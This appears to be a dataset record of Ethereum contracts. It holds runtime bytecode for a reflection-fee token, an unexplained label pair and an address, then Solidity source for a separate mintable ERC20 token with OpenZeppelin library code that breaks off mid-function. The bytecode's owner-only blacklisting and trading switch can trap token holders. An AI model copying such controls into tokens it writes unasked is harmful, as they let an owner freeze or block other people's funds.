0000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610283565b34801561033357600080fd5b50600b546102cd565b34801561034857600080fd5b506102ac610357366004612a2b565b610894565b34801561036857600080fd5b5061037c610377366004612a96565b6108fd565b005b34801561038a57600080fd5b506102cd610399366004612ab0565b610988565b3480156103aa57600080fd5b5060105460405160ff9091168152602001610283565b3480156103cc57600080fd5b5061037c6103db3660046129bb565b610a0c565b3480156103ec57600080fd5b506102ac6103fb366004612a6b565b610bfb565b34801561040c57600080fd5b506102cd60115481565b34801561042257600080fd5b5061037c610431366004612ab0565b610c31565b34801561044257600080fd5b5061037c6104513660046129bb565b610d1b565b34801561046257600080fd5b5061037c6104713660046129bb565b610e8d565b34801561048257600080fd5b506102cd610491366004612ac8565b610edb565b3480156104a257600080fd5b5061030f7f000000000000000000000000e04772032481f62c8513a3d889a2d4cbc897aa9981565b3480156104d657600080fd5b5061037c6104e53660046129bb565b610f68565b3480156104f657600080fd5b506102ac6105053660046129bb565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561052f57600080fd5b5061037c6110bb565b34801561054457600080fd5b506102cd6105533660046129bb565b6110e8565b34801561056457600080fd5b5061037c611147565b34801561057957600080fd5b506102cd60165481565b34801561058f57600080fd5b5061037c61059e3660046129bb565b6111bb565b3480156105af57600080fd5b506102ac6105be3660046129bb565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156105e857600080fd5b506000546001600160a01b031661030f565b34801561060657600080fd5b50610276611377565b34801561061b57600080fd5b5061037c61062a3660046129bb565b611386565b34801561063b57600080fd5b506102ac61064a366004612a6b565b6113d2565b34801561065b57600080fd5b506102ac61066a366004612a6b565b611421565b34801561067b57600080fd5b506102cd60135481565b34801561069157600080fd5b506102ac6106a0366004612a96565b61142e565b3480156106b157600080fd5b5060155461030f906001600160a01b031681565b3480156106d157600080fd5b5061037c6114af565b3480156106e657600080fd5b5061037c6106f5366004612af3565b6114e5565b34801561070657600080fd5b506013546102cd565b34801561071b57600080fd5b5061037c61166c565b34801561073057600080fd5b5061037c61073f366004612ab0565b611711565b34801561075057600080fd5b506102cd61075f3660046129f3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561079657600080fd5b506015546102ac90600160a81b900460ff1681565b3480156107b757600080fd5b5061037c6107c63660046129bb565b611761565b3480156107d757600080fd5b5061037c6107e63660046129bb565b6117ac565b6060600e80546107fa90612cb1565b80601f016020809104026020016040519081016040528092919081815260200182805461082690612cb1565b80156108735780601f1061084857610100808354040283529160200191610873565b820191906000526020600020905b81548152906001019060200180831161085657829003601f168201915b5050505050905090565b600061088a338484611896565b5060015b92915050565b60006108a18484846119ba565b6108f384336108ee85604051806060016040528060288152602001612d33602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611d6a565b611896565b5060019392505050565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161092790612b67565b60405180910390fd5b60158054821515600160a81b0260ff60a81b199091161790556040517f3efb3f9ce66ef48ce5be6bff57df61c60b91f67f10f414ed7cd767b1c9cdad7d9061097d90831515815260200190565b60405180910390a150565b6000600c548211156109ef5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610927565b60006109f9611da4565b9050610a058382611dc7565b9392505050565b6000546001600160a01b03163314610a365760405162461bcd60e51b815260040161092790612b67565b6001600160a01b03811660009081526007602052604090205460ff16610a9e5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610927565b60005b600854811015610bf757816001600160a01b031660088281548110610ad657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610be55760088054610b0190600190612c9a565b81548110610b1f57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b039092169183908110610b5957634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610bbf57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610bef81612cec565b915050610aa1565b5050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161088a9185906108ee9086611e09565b3360008181526007602052604090205460ff1615610ca65760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610927565b6000610cb183611e68565b505050506001600160a01b038416600090815260036020526040902054919250610cdd91905082611eb7565b6001600160a01b038316600090815260036020526040902055600c54610d039082611eb7565b600c55600d54610d139084611e09565b600d55505050565b6000546001600160a01b03163314610d455760405162461bcd60e51b815260040161092790612b67565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0382161415610dbe5760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b6064820152608401610927565b6001600160a01b03811660009081526009602052604090205460ff1615610e275760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610927565b6001600160a01b03166000818152600960205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b6000546001600160a01b03163314610eb75760405162461bcd60e51b815260040161092790612b67565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b54831115610f2f5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610927565b81610f4e576000610f3f84611e68565b5093955061088e945050505050565b6000610f5984611e68565b5092955061088e945050505050565b6000546001600160a01b03163314610f925760405162461bcd60e51b815260040161092790612b67565b6001600160a01b03811660009081526007602052604090205460ff1615610ffb5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610927565b6001600160a01b03811660009081526003602052604090205415611055576001600160a01b03811660009081526003602052604090205461103b90610988565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6018546001600160a01b0316336001600160a01b0316146110db57600080fd5b476110e581611ef9565b50565b6001600160a01b03811660009081526007602052604081205460ff161561112557506001600160a01b031660009081526004602052604090205490565b6001600160a01b03821660009081526003602052604090205461088e90610988565b6000546001600160a01b031633146111715760405162461bcd60e51b815260040161092790612b67565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146111e55760405162461bcd60e51b815260040161092790612b67565b6001600160a01b03811660009081526009602052604090205460ff1661124d5760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610927565b60005b600a54811015610bf757816001600160a01b0316600a828154811061128557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316141561136557600a80546112b090600190612c9a565b815481106112ce57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600a80546001600160a01b03909216918390811061130857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600990915260409020805460ff19169055600a805480610bbf57634e487b7160e01b600052603160045260246000fd5b8061136f81612cec565b915050611250565b6060600f80546107fa90612cb1565b6000546001600160a01b031633146113b05760405162461bcd60e51b815260040161092790612b67565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b600061088a33846108ee85604051806060016040528060258152602001612d5b602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611d6a565b600061088a3384846119ba565b6018546000906001600160a01b0316331461148b5760405162461bcd60e51b815260206004820152601d60248201527f4f6e6c7941646d696e2063616e2064697361626c6520646576206665650000006044820152606401610927565b506015805460ff60a81b1916600160a81b9215158302179081905560ff9190041690565b6018546001600160a01b0316336001600160a01b0316146114cf57600080fd5b60006114da306110e8565b90506110e581611f33565b6018546001600160a01b0316331461153f5760405162461bcd60e51b815260206004820152601d60248201527f4f6e6c7941646d696e2063616e2064697361626c6520646576206665650000006044820152606401610927565b600c82106115a15760405162461bcd60e51b815260206004820152602960248201527f5265666c656374696f6e207461782063616e206e6f7420626520677265617465604482015268072207468616e2031360bc1b6064820152608401610927565b600c81106115fc5760405162461bcd60e51b815260206004820152602260248201527f446576207461782063616e206e6f742062652067726561746572207468616e20604482015261031360f41b6064820152608401610927565b60106116088284611e09565b106116615760405162461bcd60e51b8152602060048201526024808201527f546f74616c20466565732063616e6e6f742062652067726561746572207468616044820152636e20313560e01b6064820152608401610927565b601181905560135550565b6000546001600160a01b031633146116965760405162461bcd60e51b815260040161092790612b67565b601554600160b01b900460ff16156116f05760405162461bcd60e51b815260206004820181905260248201527f54726164696e672068617320616c7265616479204265656e20656e61626c65646044820152606401610927565b6002601155600a6013556015805461ffff60a81b191661010160a81b179055565b6000546001600160a01b0316331461173b5760405162461bcd60e51b815260040161092790612b67565b61175b606461175583600b5461211690919063ffffffff16565b90611dc7565b60165550565b6000546001600160a01b0316331461178b5760405162461bcd60e51b815260040161092790612b67565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146117d65760405162461bcd60e51b815260040161092790612b67565b6001600160a01b03811661183b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610927565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166118f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610927565b6001600160a01b0382166119595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610927565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611a1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610927565b6001600160a01b038216611a805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610927565b60008111611ae25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610927565b6001600160a01b03821660009081526009602052604090205460ff1615611b1b5760405162461bcd60e51b815260040161092790612b9c565b3360009081526009602052604090205460ff1615611b4b5760405162461bcd60e51b815260040161092790612b9c565b6001600160a01b03831660009081526009602052604090205460ff1615611b845760405162461bcd60e51b815260040161092790612b9c565b6000546001600160a01b03848116911614801590611bb057506000546001600160a01b03838116911614155b15611c7157601654811115611c185760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610927565b601554600160b01b900460ff16611c715760405162461bcd60e51b815260206004820152601c60248201527f54726164696e6720686173206e6f74206265656e20656e61626c6564000000006044820152606401610927565b6000611c7c306110e8565b90506016548110611c8c57506016545b60175481108015908190611caa5750601554600160a01b900460ff16155b8015611ce857507f000000000000000000000000e04772032481f62c8513a3d889a2d4cbc897aa996001600160a01b0316856001600160a01b031614155b8015611cfd5750601554600160a81b900460ff165b15611d0b57611d0b82612195565b6001600160a01b03851660009081526006602052604090205460019060ff1680611d4d57506001600160a01b03851660009081526006602052604090205460ff165b15611d56575060005b611d6286868684612216565b505050505050565b60008184841115611d8e5760405162461bcd60e51b81526004016109279190612b14565b506000611d9b8486612c9a565b95945050505050565b6000806000611db1612393565b9092509050611dc08282611dc7565b9250505090565b6000610a0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061254d565b600080611e168385612c43565b905083811015610a055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610927565b6000806000806000806000806000611e7f8a61257b565b9250925092506000806000611e9d8d8686611e98611da4565b6125bd565b919f909e50909c50959a5093985091965092945050505050565b6000610a0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d6a565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bf7573d6000803e3d6000fd5b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f7657634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fef57600080fd5b505afa158015612003573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202791906129d7565b8160018151811061204857634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050612093307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611896565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906120e8908590600090869030904290600401612bd3565b600060405180830381600087803b15801561210257600080fd5b505af1158015611d62573d6000803e3d6000fd5b6000826121255750600061088e565b60006121318385612c7b565b90508261213e8583612c5b565b14610a055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610927565b6015805460ff60a01b1916600160a01b17905580476121b382611f33565b60006121bf4783611eb7565b90506121ca81611ef9565b60408051848152602081018390527f1309193d68e1a43bd32da5f04e07935cc194c20b2bd1813be5c6898b99dac4be910160405180910390a150506015805460ff60a01b191690555050565b806122235761222361260d565b6001600160a01b03841660009081526007602052604090205460ff16801561226457506001600160a01b03831660009081526007602052604090205460ff16155b156122795761227484848461263b565b612377565b6001600160a01b03841660009081526007602052604090205460ff161580156122ba57506001600160a01b03831660009081526007602052604090205460ff165b156122ca57612274848484612761565b6001600160a01b03841660009081526007602052604090205460ff1615801561230c57506001600160a01b03831660009081526007602052604090205460ff16155b1561231c5761227484848461280a565b6001600160a01b03841660009081526007602052604090205460ff16801561235c57506001600160a01b03831660009081526007602052604090205460ff165b1561236c5761227484848461284e565b61237784848461280a565b8061238d5761238d601254601155601454601355565b50505050565b600c54600b546000918291825b60085481101561251d578260036000600884815481106123d057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612449575081600460006008848154811061242257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561245f57600c54600b54945094505050509091565b6124b3600360006008848154811061248757634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611eb7565b925061250960046000600884815481106124dd57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611eb7565b91508061251581612cec565b9150506123a0565b50600b54600c5461252d91611dc7565b82101561254457600c54600b549350935050509091565b90939092509050565b6000818361256e5760405162461bcd60e51b81526004016109279190612b14565b506000611d9b8486612c5b565b60008060008061258a856128c1565b90506000612597866128dd565b905060006125af826125a98986611eb7565b90611eb7565b979296509094509092505050565b60008080806125cc8886612116565b905060006125da8887612116565b905060006125e88888612116565b905060006125fa826125a98686611eb7565b939b939a50919850919650505050505050565b60115415801561261d5750601354155b1561262457565b601180546012556013805460145560009182905555565b60008060008060008061264d87611e68565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061267f9088611eb7565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546126ae9087611eb7565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546126dd9086611e09565b6001600160a01b0389166000908152600360205260409020556126ff816128f9565b6127098483612982565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161274e91815260200190565b60405180910390a3505050505050505050565b60008060008060008061277387611e68565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506127a59087611eb7565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546127db9084611e09565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546126dd9086611e09565b60008060008060008061281c87611e68565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506126ae9087611eb7565b60008060008060008061286087611e68565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128929088611eb7565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546127a59087611eb7565b600061088e60646117556011548561211690919063ffffffff16565b600061088e60646117556013548561211690919063ffffffff16565b6000612903611da4565b905060006129118383612116565b3060009081526003602052604090205490915061292e9082611e09565b3060009081526003602090815260408083209390935560079052205460ff161561297d573060009081526004602052604090205461296c9084611e09565b306000908152600460205260409020555b505050565b600c5461298f9083611eb7565b600c55600d5461299f9082611e09565b600d555050565b803580151581146129b657600080fd5b919050565b6000602082840312156129cc578081fd5b8135610a0581612d1d565b6000602082840312156129e8578081fd5b8151610a0581612d1d565b60008060408385031215612a05578081fd5b8235612a1081612d1d565b91506020830135612a2081612d1d565b809150509250929050565b600080600060608486031215612a3f578081fd5b8335612a4a81612d1d565b92506020840135612a5a81612d1d565b929592945050506040919091013590565b60008060408385031215612a7d578182fd5b8235612a8881612d1d565b946020939093013593505050565b600060208284031215612aa7578081fd5b610a05826129a6565b600060208284031215612ac1578081fd5b5035919050565b60008060408385031215612ada578182fd5b82359150612aea602084016129a6565b90509250929050565b60008060408385031215612b05578182fd5b50508035926020909101359150565b6000602080835283518082850152825b81811015612b4057858101830151858201604001528201612b24565b81811115612b515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f596f752068617665206e6f20706f776572206865726521000000000000000000604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015612c225784516001600160a01b031683529383019391830191600101612bfd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612c5657612c56612d07565b500190565b600082612c7657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612c9557612c95612d07565b500290565b600082821015612cac57612cac612d07565b500390565b600181811c90821680612cc557607f821691505b60208210811415612ce657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612d0057612d00612d07565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146110e557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220955cba998f2b3457c80adfec91c4cc57b746ba3987cd5db8fc64d1741159b27664736f6c63430008040033
[ 13, 11 ]
0xF230cC17a9adD8fcd91d6cCCbAf6922FfbB00d0D
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; /// @custom:security-contact [email protected] contract NationalKnowledgeInfrastructure3 is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); constructor() ERC20("National Knowledge Infrastructure 3", "NKI3") { _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(MINTER_ROLE, msg.sender); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns 